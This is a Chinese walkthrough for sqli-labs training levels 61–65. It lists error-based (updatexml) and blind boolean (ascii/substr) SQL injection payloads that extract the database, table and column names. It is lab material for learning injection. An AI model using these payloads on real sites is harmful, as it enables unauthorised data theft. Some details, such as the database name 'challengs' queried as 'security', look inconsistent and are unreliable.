sql-labs61-65关通关攻略
第61关
一:查看数据库
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
二:查看表名
?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
三:查看users表中列名
?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
第62关
一.判断数据库的第一个字符
?id=1') and ascii(substr(database(),1,1))>98--+
?id=1') and ascii(substr(database(),1,1))>99--+
说明第一位字符ascii码等于99
.....
最终得出challengs
二.查security数据库中第一张表的第一位字符
?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
........
最终得出第一张表的表名为emails
三.查看users表中第一个字段的第一位字符
?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............
最终得出users表的第一个字段为id
第63关
一.判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>98--+
?id=1' and ascii(substr(database(),1,1))>99--+
大于98不大于99 说明第一位字符ascii码等于99
.....
最终得出challengs
二.查security数据库中第一张表的第一位字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
三.查看users表中第一个字段的第一位字符
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............
最终得出users表的第一个字段为id
第64关
一.判断数据库的第一个字符
?id=1)) and ascii(substr(database(),1,1))>98--+
?id=1)) and ascii(substr(database(),1,1))>99--+
大于98不大于99 说明第一位字符ascii码等于99
.....
最终得出challengs
二.查security数据库中第一张表的第一位字符
?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
三.查看users表中第一个字段的第一位字符
?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
大于104不大于105说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
第65关
一.判断数据库的第一个字符
?id=1") and ascii(substr(database(),1,1))>98--+
?id=1") and ascii(substr(database(),1,1))>99--+
大于98不大于99 说明第一位字符ascii码等于99
.....
最终得出challengs
二.查security数据库中第一张表的第一位字符
?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
...........
最终得出第一张表的表名为emails
三.查看users表中第一个字段的第一位字符
?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
.......
最终得出users表的第一个字段为id